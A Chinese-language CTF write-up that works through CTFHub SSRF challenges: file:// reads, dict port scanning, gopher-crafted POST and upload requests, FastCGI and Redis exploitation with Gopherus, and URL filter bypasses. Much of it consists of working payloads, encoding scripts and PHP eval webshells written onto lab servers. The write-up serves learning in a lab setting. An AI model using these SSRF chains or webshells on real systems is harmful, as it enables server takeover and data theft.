WHCSRL 技术网

CTFHub-Web-SSRF练习

基础知识

内网访问

题目描述：尝试访问位于127.0.0.1的flag.php吧

访问靶机地址，发现url后面多了/?url=_
在这里插入图片描述
然后访问127.0.0.1/flag.php

Payload: ?url=127.0.0.1/flag.php

  • 1

伪协议读取文件

题目描述：尝试去读取一下Web目录下的flag.php吧

在这里插入图片描述

在SSRF中常用的伪协议是file:///协议，其在ssrf中可以用来读取php源码。

Payload: ?url=file:///var/www/html/flag.php

  • 1

然后查看源代码
在这里插入图片描述

端口扫描

题目描述：来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

在这里插入图片描述

使用SSRF中的dict协议可以用来探测开放的端口

Payload: ?url=dict://127.0.0.1:8000

  • 1

利用burpsuite对端口进行爆破
在这里插入图片描述
提示端口号在8000-9000
在这里插入图片描述

发现8566端口长度与其他端口不一样
在这里插入图片描述
然后访问8566端口

Payload: ?url=127.0.0.1:8566

  • 1

在这里插入图片描述

Gopher协议的利用

POST请求

题目描述：这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

根据提示抓包访问302.php，无服务
在这里插入图片描述

尝试访问flag.php
在这里插入图片描述
内网访问flag.php，发现了key=e42236c6f932a86af6eaa1f0ca77e0de

?url=127.0.0.1/flag.php

  • 1

在这里插入图片描述

需要我们用gopher协议去用post key到flag.php，不过需要注意的是要从127.0.0.1发送数据。使用方法：gopher://ip:port/_payload

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e42236c6f932a86af6eaa1f0ca77e0de
#注意Content-Length那里，必须和你的POST请求长度一样

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

URL编码,进行url三次编码即（注：第一次url编码后要手动在所有%%%%0A前面加上%%%%0D，再进行后续编码）

POST%%%%2520/flag.php%%%%2520HTTP/1.1%%%%250D%%%%250AHost:%%%%2520127.0.0.1:80%%%%250D%%%%250AContent-Type:%%%%2520application/x-www-form-urlencoded%%%%250D%%%%250AContent-Length:%%%%252036%%%%250D%%%%250A%%%%250D%%%%250Akey=e42236c6f932a86af6eaa1f0ca77e0de

  • 1

构造Payload：

?url=gopher://127.0.0.1:80/_POST%%%%2520/flag.php%%%%2520HTTP/1.1%%%%250D%%%%250AHost:%%%%2520127.0.0.1:80%%%%250D%%%%250AContent-Type:%%%%2520application/x-www-form-urlencoded%%%%250D%%%%250AContent-Length:%%%%252036%%%%250D%%%%250A%%%%250D%%%%250Akey=e42236c6f932a86af6eaa1f0ca77e0de

  • 1

得到flag
在这里插入图片描述
利用gopher协议构造post请求脚本如下：

import urllib.parse
payload =
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e42236c6f932a86af6eaa1f0ca77e0de
"""  
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%%%%0A','%%%%0D%%%%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

得到

gopher%%%%3A//127.0.0.1%%%%3A80/_POST%%%%2520/flag.php%%%%2520HTTP/1.1%%%%250D%%%%250AHost%%%%253A%%%%2520127.0.0.1%%%%253A80%%%%250D%%%%250AContent-Type%%%%253A%%%%2520application/x-www-form-urlencoded%%%%250D%%%%250AContent-Length%%%%253A%%%%252036%%%%250D%%%%250A%%%%250D%%%%250Akey%%%%253De42236c6f932a86af6eaa1f0ca77e0de%%%%250D%%%%250A

  • 1

上传文件

参考文章：https://www.jianshu.com/p/a9e5a64b733b

题目描述：这次需要上传一个文件到flag.php了.祝你好运

访问靶机地址，一片空白，尝试访问flag.php，提示需要从本地访问
在这里插入图片描述
从目标机本地访问flag.php：

?url=127.0.0.1/flag.php

  • 1

得到文件上传的页面：
在这里插入图片描述

使用伪协议读取flag.php的源码

Payload: ?url=file:///var/www/html/flag.php

  • 1

flag.php

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

发现会判断文件是否为空, 上传一个非空文件,没有提交选项，F12手动添加提交框:

<input type="submit" name="submit" >

  • 1

得到
在这里插入图片描述
上传文件，bp拦截
在这里插入图片描述
将Host的值改为127.0.0.1:80，然后将上面的包进行第一次url编码，然后把%%%%0A改成%%%%0D%%%%0A，然后再进行两次url编码。拿脚本梭

import urllib.parse
payload =
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------92335795416210780092655892737
Content-Length: 395
Origin: http://challenge-6af7ed5071d80457.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-6af7ed5071d80457.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------92335795416210780092655892737
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php 
    @eval($_POST["pass"]);
?> 
-----------------------------92335795416210780092655892737
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------92335795416210780092655892737--
"""  
​
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%%%%0A','%%%%0D%%%%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

输出结果如下：

gopher%%%%3A//127.0.0.1%%%%3A80/_POST%%%%2520/flag.php%%%%2520HTTP/1.1%%%%250D%%%%250AHost%%%%253A%%%%2520challenge-973c40c4217366cd.sandbox.ctfhub.com%%%%253A10800%%%%250D%%%%250AUser-Agent%%%%253A%%%%2520Mozilla/5.0%%%%2520%%%%2528Windows%%%%2520NT%%%%252010.0%%%%253B%%%%2520Win64%%%%253B%%%%2520x64%%%%253B%%%%2520rv%%%%253A90.0%%%%2529%%%%2520Gecko/20100101%%%%2520Firefox/90.0%%%%250D%%%%250AAccept%%%%253A%%%%2520text/html%%%%252Capplication/xhtml%%%%252Bxml%%%%252Capplication/xml%%%%253Bq%%%%253D0.9%%%%252Cimage/webp%%%%252C%%%%252A/%%%%252A%%%%253Bq%%%%253D0.8%%%%250D%%%%250AAccept-Language%%%%253A%%%%2520zh-CN%%%%252Czh%%%%253Bq%%%%253D0.8%%%%252Czh-TW%%%%253Bq%%%%253D0.7%%%%252Czh-HK%%%%253Bq%%%%253D0.5%%%%252Cen-US%%%%253Bq%%%%253D0.3%%%%252Cen%%%%253Bq%%%%253D0.2%%%%250D%%%%250AAccept-Encoding%%%%253A%%%%2520gzip%%%%252C%%%%2520deflate%%%%250D%%%%250AContent-Type%%%%253A%%%%2520multipart/form-data%%%%253B%%%%2520boundary%%%%253D---------------------------340238428019634687501146349694%%%%250D%%%%250AContent-Length%%%%253A%%%%2520394%%%%250D%%%%250AOrigin%%%%253A%%%%2520http%%%%253A//challenge-973c40c4217366cd.sandbox.ctfhub.com%%%%253A10800%%%%250D%%%%250AConnection%%%%253A%%%%2520close%%%%250D%%%%250AReferer%%%%253A%%%%2520http%%%%253A//challenge-973c40c4217366cd.sandbox.ctfhub.com%%%%253A10800/%%%%253Furl%%%%253D127.0.0.1/flag.php%%%%250D%%%%250AUpgrade-Insecure-Requests%%%%253A%%%%25201%%%%250D%%%%250A%%%%250D%%%%250A-----------------------------340238428019634687501146349694%%%%250D%%%%250AContent-Disposition%%%%253A%%%%2520form-data%%%%253B%%%%2520name%%%%253D%%%%2522file%%%%2522%%%%253B%%%%2520filename%%%%253D%%%%25221.php%%%%2522%%%%250D%%%%250AContent-Type%%%%253A%%%%2520application/octet-stream%%%%250D%%%%250A%%%%250D%%%%250A%%%%253C%%%%253Fphp%%%%2520%%%%250D%%%%250A%%%%2520%%%%2520%%%%2520%%%%2520%%%%2540eval%%%%2528%%%%2524_POST%%%%255B%%%%2522pass%%%%2522%%%%255D%%%%2529%%%%253B%%%%250D%%%%250A%%%%253F%%%%253E%%%%2520%%%%250D%%%%250A-----------------------------340238428019634687501146349694%%%%250D%%%%250AContent-Disposition%%%%253A%%%%2520form-data%%%%253B%%%%2520name%%%%253D%%%%2522submit%%%%2522%%%%250D%%%%250A%%%%250D%%%%250A%%%%25C3%%%%25A6%%%%25C2%%%%258F%%%%25C2%%%%2590%%%%25C3%%%%25A4%%%%25C2%%%%25BA%%%%25C2%%%%25A4%%%%25C3%%%%25A6%%%%25C2%%%%259F%%%%25C2%%%%25A5%%%%25C3%%%%25A8%%%%25C2%%%%25AF%%%%25C2%%%%25A2%%%%250D%%%%250A-----------------------------340238428019634687501146349694--%%%%250D%%%%250A

  • 1

传参得到flag
在这里插入图片描述

FastCGI协议

题目描述：这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

Gopherus工具：https://github.com/tarunkant/Gopherus.git
参考：https://blog.csdn.net/mysteryflower/article/details/94386461

如果端口9000是开放的，则SSRF漏洞可能存在并且可能导致RCE。为了利用它，您需要提供一个目标主机上必须存在的文件名（首选.php）。

?url=file:///var/www/html/index.php

?php
​
error_reporting(0);
​
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
​
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

目标服务器上存在/var/www/html/index.php。

准备一句话木马：<?php @eval($_POST['x']);?>，保存在文件tmp.php中

构造要执行的终端命令：对一句话木马进行解码，并写入到名为shell.php的文件中。

echo “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php

使用Gopherus工具生成payload

┌──(kali㉿kali)-[~/桌面/Python/SSRF/Gopherus]
└─$ python gopherus.py --exploit fastcgi                                                                                                           2 ⨯


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/     ___ /  _ \____ |  |  _/ __ _  __   |  /  ___/
    _  (  <_> )  |_> >   Y    ___/|  | /  |  /___ 
 ______  /____/|   __/|___|  /___  >__|  |____//____  >
        /       |__|        /     /                 /

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/index.php
Terminal command to run:  echo "PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==" | base64 -d > shell.php

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%%%%01%%%%01%%%%00%%%%01%%%%00%%%%08%%%%00%%%%00%%%%00%%%%01%%%%00%%%%00%%%%00%%%%00%%%%00%%%%00%%%%01%%%%04%%%%00%%%%01%%%%01%%%%05%%%%05%%%%00%%%%0F%%%%10SERVER_SOFTWAREgo%%%%20/%%%%20fcgiclient%%%%20%%%%0B%%%%09REMOTE_ADDR127.0.0.1%%%%0F%%%%08SERVER_PROTOCOLHTTP/1.1%%%%0E%%%%03CONTENT_LENGTH119%%%%0E%%%%04REQUEST_METHODPOST%%%%09KPHP_VALUEallow_url_include%%%%20%%%%3D%%%%20On%%%%0Adisable_functions%%%%20%%%%3D%%%%20%%%%0Aauto_prepend_file%%%%20%%%%3D%%%%20php%%%%3A//input%%%%0F%%%%17SCRIPT_FILENAME/var/www/html/index.php%%%%0D%%%%01DOCUMENT_ROOT/%%%%00%%%%00%%%%00%%%%00%%%%00%%%%01%%%%04%%%%00%%%%01%%%%00%%%%00%%%%00%%%%00%%%%01%%%%05%%%%00%%%%01%%%%00w%%%%04%%%%00%%%%3C%%%%3Fphp%%%%20system%%%%28%%%%27echo%%%%20%%%%22PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg%%%%3D%%%%3D%%%%22%%%%20%%%%7C%%%%20base64%%%%20-d%%%%20%%%%3E%%%%20shell.php%%%%27%%%%29%%%%3Bdie%%%%28%%%%27-----Made-by-SpyD3r-----%%%%0A%%%%27%%%%29%%%%3B%%%%3F%%%%3E%%%%00%%%%00%%%%00%%%%00

-----------Made-by-SpyD3r-----------

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

url编码一下,url传参

?url=%%%%67%%%%6f%%%%70%%%%68%%%%65%%%%72%%%%3a%%%%2f%%%%2f%%%%31%%%%32%%%%37%%%%2e%%%%30%%%%2e%%%%30%%%%2e%%%%31%%%%3a%%%%39%%%%30%%%%30%%%%30%%%%2f%%%%5f%%%%25%%%%30%%%%31%%%%25%%%%30%%%%31%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%30%%%%25%%%%30%%%%38%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%34%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%31%%%%25%%%%30%%%%35%%%%25%%%%30%%%%35%%%%25%%%%30%%%%30%%%%25%%%%30%%%%46%%%%25%%%%31%%%%30%%%%53%%%%45%%%%52%%%%56%%%%45%%%%52%%%%5f%%%%53%%%%4f%%%%46%%%%54%%%%57%%%%41%%%%52%%%%45%%%%67%%%%6f%%%%25%%%%32%%%%30%%%%2f%%%%25%%%%32%%%%30%%%%66%%%%63%%%%67%%%%69%%%%63%%%%6c%%%%69%%%%65%%%%6e%%%%74%%%%25%%%%32%%%%30%%%%25%%%%30%%%%42%%%%25%%%%30%%%%39%%%%52%%%%45%%%%4d%%%%4f%%%%54%%%%45%%%%5f%%%%41%%%%44%%%%44%%%%52%%%%31%%%%32%%%%37%%%%2e%%%%30%%%%2e%%%%30%%%%2e%%%%31%%%%25%%%%30%%%%46%%%%25%%%%30%%%%38%%%%53%%%%45%%%%52%%%%56%%%%45%%%%52%%%%5f%%%%50%%%%52%%%%4f%%%%54%%%%4f%%%%43%%%%4f%%%%4c%%%%48%%%%54%%%%54%%%%50%%%%2f%%%%31%%%%2e%%%%31%%%%25%%%%30%%%%45%%%%25%%%%30%%%%33%%%%43%%%%4f%%%%4e%%%%54%%%%45%%%%4e%%%%54%%%%5f%%%%4c%%%%45%%%%4e%%%%47%%%%54%%%%48%%%%31%%%%32%%%%33%%%%25%%%%30%%%%45%%%%25%%%%30%%%%34%%%%52%%%%45%%%%51%%%%55%%%%45%%%%53%%%%54%%%%5f%%%%4d%%%%45%%%%54%%%%48%%%%4f%%%%44%%%%50%%%%4f%%%%53%%%%54%%%%25%%%%30%%%%39%%%%4b%%%%50%%%%48%%%%50%%%%5f%%%%56%%%%41%%%%4c%%%%55%%%%45%%%%61%%%%6c%%%%6c%%%%6f%%%%77%%%%5f%%%%75%%%%72%%%%6c%%%%5f%%%%69%%%%6e%%%%63%%%%6c%%%%75%%%%64%%%%65%%%%25%%%%32%%%%30%%%%25%%%%33%%%%44%%%%25%%%%32%%%%30%%%%4f%%%%6e%%%%25%%%%30%%%%41%%%%64%%%%69%%%%73%%%%61%%%%62%%%%6c%%%%65%%%%5f%%%%66%%%%75%%%%6e%%%%63%%%%74%%%%69%%%%6f%%%%6e%%%%73%%%%25%%%%32%%%%30%%%%25%%%%33%%%%44%%%%25%%%%32%%%%30%%%%25%%%%30%%%%41%%%%61%%%%75%%%%74%%%%6f%%%%5f%%%%70%%%%72%%%%65%%%%70%%%%65%%%%6e%%%%64%%%%5f%%%%66%%%%69%%%%6c%%%%65%%%%25%%%%32%%%%30%%%%25%%%%33%%%%44%%%%25%%%%32%%%%30%%%%70%%%%68%%%%70%%%%25%%%%33%%%%41%%%%2f%%%%2f%%%%69%%%%6e%%%%70%%%%75%%%%74%%%%25%%%%30%%%%46%%%%25%%%%31%%%%37%%%%53%%%%43%%%%52%%%%49%%%%50%%%%54%%%%5f%%%%46%%%%49%%%%4c%%%%45%%%%4e%%%%41%%%%4d%%%%45%%%%2f%%%%76%%%%61%%%%72%%%%2f%%%%77%%%%77%%%%77%%%%2f%%%%68%%%%74%%%%6d%%%%6c%%%%2f%%%%69%%%%6e%%%%64%%%%65%%%%78%%%%2e%%%%70%%%%68%%%%70%%%%25%%%%30%%%%44%%%%25%%%%30%%%%31%%%%44%%%%4f%%%%43%%%%55%%%%4d%%%%45%%%%4e%%%%54%%%%5f%%%%52%%%%4f%%%%4f%%%%54%%%%2f%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%34%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%35%%%%25%%%%30%%%%30%%%%25%%%%30%%%%31%%%%25%%%%30%%%%30%%%%25%%%%37%%%%42%%%%25%%%%30%%%%34%%%%25%%%%30%%%%30%%%%25%%%%33%%%%43%%%%25%%%%33%%%%46%%%%70%%%%68%%%%70%%%%25%%%%32%%%%30%%%%73%%%%79%%%%73%%%%74%%%%65%%%%6d%%%%25%%%%32%%%%38%%%%25%%%%32%%%%37%%%%65%%%%63%%%%68%%%%6f%%%%25%%%%32%%%%30%%%%25%%%%32%%%%32%%%%50%%%%44%%%%39%%%%77%%%%61%%%%48%%%%41%%%%67%%%%51%%%%47%%%%56%%%%32%%%%59%%%%57%%%%77%%%%6f%%%%4a%%%%46%%%%39%%%%51%%%%54%%%%31%%%%4e%%%%55%%%%57%%%%79%%%%64%%%%34%%%%4a%%%%31%%%%30%%%%70%%%%4f%%%%7a%%%%38%%%%25%%%%32%%%%42%%%%43%%%%67%%%%25%%%%33%%%%44%%%%25%%%%33%%%%44%%%%25%%%%32%%%%32%%%%25%%%%32%%%%30%%%%25%%%%37%%%%43%%%%25%%%%32%%%%30%%%%62%%%%61%%%%73%%%%65%%%%36%%%%34%%%%25%%%%32%%%%30%%%%2d%%%%64%%%%25%%%%32%%%%30%%%%25%%%%33%%%%45%%%%25%%%%32%%%%30%%%%73%%%%68%%%%65%%%%6c%%%%6c%%%%2e%%%%70%%%%68%%%%70%%%%25%%%%32%%%%37%%%%25%%%%32%%%%39%%%%25%%%%33%%%%42%%%%64%%%%69%%%%65%%%%25%%%%32%%%%38%%%%25%%%%32%%%%37%%%%2d%%%%2d%%%%2d%%%%2d%%%%2d%%%%4d%%%%61%%%%64%%%%65%%%%2d%%%%62%%%%79%%%%2d%%%%53%%%%70%%%%79%%%%44%%%%33%%%%72%%%%2d%%%%2d%%%%2d%%%%2d%%%%2d%%%%25%%%%30%%%%41%%%%25%%%%32%%%%37%%%%25%%%%32%%%%39%%%%25%%%%33%%%%42%%%%25%%%%33%%%%46%%%%25%%%%33%%%%45%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30%%%%25%%%%30%%%%30

  • 1

shell.php已经被写入到服务器的/var/www/html目录下

/shell.php

x=system('cat /flag_bb4ae17f50829d327b60b4f752bc438d');

ctfhub{e028c80e91de1a8e7220d506}

  • 1
  • 2
  • 3
  • 4
  • 5

Redis协议

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

Redis系列漏洞总结:https://www.freebuf.com/articles/web/249238.html

主要利用redis未授权访问，如：写ssh-keygen公钥登录，利用计划任务反弹shell，直接写webshell等，主从复制getshell。

方法一：手打

首先用dict协议探测一下是否在6379端口：
url=dict://127.0.0.1:6379

看一下要不要认证：
url=dict://127.0.0.1:6379/info

发现存在，下一步设置本地存放dir：
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后开始写马，一般用十六进制
url=dict://127.0.0.1:6379/set:shell:"x3cx3fx70x68x70x20x40x65x76x61x6cx28x24x5fx50x4fx53x54x5bx61x5dx29x3bx3fx3e"
<?php @eval($_POST[a]);?>

url=dict://127.0.0.1:6379/set:shell:"x3cx3fx70x68x70x20x65x76x61x6cx28x24x5fx50x4fx53x54x5bx61x5dx29x3bx3fx3e"
<?php eval($_POST[a]);?>


设置文件名
url=dict://127.0.0.1:6379/set:dbfilename:atkx.php

最后保存
url=dict://127.0.0.1:6379/save

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

这题好像行不通,一直复现不成功，而ctfshow web360两种方法都行

方法二：工具梭哈

┌──(kali㉿kali)-[~/桌面/Python/SSRF/Gopherus]
└─$ python gopherus.py --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/     ___ /  _ ____ |  |  _/ __ _  __   |  /  ___/
    _  (  <_> )  |_> >   Y    ___/|  | /  |  /___ 
 ______  /____/|   __/|___|  /___  >__|  |____//____  >
        /       |__|        /     /                 /

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): php

Give web root location of server (default is /var/www/html): 
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[atkx]); ?>

Your gopher link is Ready to get PHP Shell: 

gopher://127.0.0.1:6379/_%%%%2A1%%%%0D%%%%0A%%%%248%%%%0D%%%%0Aflushall%%%%0D%%%%0A%%%%2A3%%%%0D%%%%0A%%%%243%%%%0D%%%%0Aset%%%%0D%%%%0A%%%%241%%%%0D%%%%0A1%%%%0D%%%%0A%%%%2432%%%%0D%%%%0A%%%%0A%%%%0A%%%%3C%%%%3Fphp%%%%20eval%%%%28%%%%24_POST%%%%5Batkx%%%%5D%%%%29%%%%3B%%%%20%%%%3F%%%%3E%%%%0A%%%%0A%%%%0D%%%%0A%%%%2A4%%%%0D%%%%0A%%%%246%%%%0D%%%%0Aconfig%%%%0D%%%%0A%%%%243%%%%0D%%%%0Aset%%%%0D%%%%0A%%%%243%%%%0D%%%%0Adir%%%%0D%%%%0A%%%%2413%%%%0D%%%%0A/var/www/html%%%%0D%%%%0A%%%%2A4%%%%0D%%%%0A%%%%246%%%%0D%%%%0Aconfig%%%%0D%%%%0A%%%%243%%%%0D%%%%0Aset%%%%0D%%%%0A%%%%2410%%%%0D%%%%0Adbfilename%%%%0D%%%%0A%%%%249%%%%0D%%%%0Ashell.php%%%%0D%%%%0A%%%%2A1%%%%0D%%%%0A%%%%244%%%%0D%%%%0Asave%%%%0D%%%%0A%%%%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. 

-----------Made-by-SpyD3r-----------

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

再编码一下

?url=gopher://127.0.0.1:6379/_%%%%25%%%%32%%%%41%%%%31%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%38%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%66%%%%6c%%%%75%%%%73%%%%68%%%%61%%%%6c%%%%6c%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%41%%%%33%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%33%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%73%%%%65%%%%74%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%31%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%31%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%33%%%%32%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%30%%%%41%%%%25%%%%30%%%%41%%%%25%%%%33%%%%43%%%%25%%%%33%%%%46%%%%70%%%%68%%%%70%%%%25%%%%32%%%%30%%%%65%%%%76%%%%61%%%%6c%%%%25%%%%32%%%%38%%%%25%%%%32%%%%34%%%%5f%%%%50%%%%4f%%%%53%%%%54%%%%25%%%%35%%%%42%%%%61%%%%74%%%%6b%%%%78%%%%25%%%%35%%%%44%%%%25%%%%32%%%%39%%%%25%%%%33%%%%42%%%%25%%%%32%%%%30%%%%25%%%%33%%%%46%%%%25%%%%33%%%%45%%%%25%%%%30%%%%41%%%%25%%%%30%%%%41%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%41%%%%34%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%36%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%63%%%%6f%%%%6e%%%%66%%%%69%%%%67%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%33%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%73%%%%65%%%%74%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%33%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%64%%%%69%%%%72%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%31%%%%33%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%2f%%%%76%%%%61%%%%72%%%%2f%%%%77%%%%77%%%%77%%%%2f%%%%68%%%%74%%%%6d%%%%6c%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%41%%%%34%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%36%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%63%%%%6f%%%%6e%%%%66%%%%69%%%%67%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%33%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%73%%%%65%%%%74%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%31%%%%30%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%64%%%%62%%%%66%%%%69%%%%6c%%%%65%%%%6e%%%%61%%%%6d%%%%65%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%39%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%73%%%%68%%%%65%%%%6c%%%%6c%%%%2e%%%%70%%%%68%%%%70%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%41%%%%31%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%32%%%%34%%%%34%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%73%%%%61%%%%76%%%%65%%%%25%%%%30%%%%44%%%%25%%%%30%%%%41%%%%25%%%%30%%%%41

  • 1

连接🐎

/shell.php

atkx=system('cat /flag_56381dbdb8879c071fdbd8b47e044436');

ctfhub{3f364bbf61aa400455122885}

  • 1
  • 2
  • 3
  • 4
  • 5

Bypass

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧

方法：

1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

题目要求url must startwith “http://notfound.ctfhub.com”
在这里插入图片描述
我们可以利用@来绕过，如 http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1，即 http://notfound.ctfhub.com@127.0.0.1与 http://127.0.0.1请求是相同的，该请求得到的内容都是127.0.0.1的内容。

所以直接构造,成功得到flag。

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

ctfhub{b808a23b0267eb37a9cf2d47}

  • 1
  • 2
  • 3

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

?url=http://127.0.0.1/flag.php
